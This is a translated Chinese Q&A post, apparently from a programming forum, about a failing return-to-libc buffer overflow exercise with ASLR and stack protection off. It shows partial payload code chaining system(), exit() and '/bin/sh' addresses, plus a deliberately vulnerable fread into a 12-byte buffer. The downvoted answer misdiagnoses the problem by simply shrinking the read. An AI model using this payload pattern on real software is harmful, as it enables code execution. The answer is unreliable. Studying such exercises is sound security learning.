我正在尝试使用return to libc创建缓冲区溢出。
以下是攻击者代码: http://codepad.org/TtoLjAHc。它创建有效负载并将其存储在名为badfile的文件中。
这是易受攻击的代码: http://codepad.org/DZ7AQy4D。它从badfile读取并且应该生成一个shell。
ASLR和堆栈保护已关闭。
攻击者代码有效。但易受攻击的代码会导致段错误。
任何人都可以解释我哪里出错吗?
剥削者代码的相关部分:
memset(buffer, "\x90", 52);
memcpy(buffer,"BUF=",4);
memcpy(buffer+36, systemAddr,4);
memcpy(buffer+40,exitAddr,4);
memcpy(buffer+44, shAddr,4);
memcpy(buffer+48, nullPad, 4);
此变量缓冲区现在被写入名为badfile的文件,该文件由易受攻击的程序使用fread()读取。 脆弱程序的相关部分:
char buffer[12];
length = fread (buffer, sizeof (char), 52, badfile);
答案 0 :(得分:-1)
您为buffer
分配了12个八位字节的内存,但是您尝试写入52个八位字节。因此,你走出阵列会引发分段错误。
尝试:
*char buffer[12];
length = fread (buffer, sizeof (char), **12**, badfile);*
它应该可以正常工作。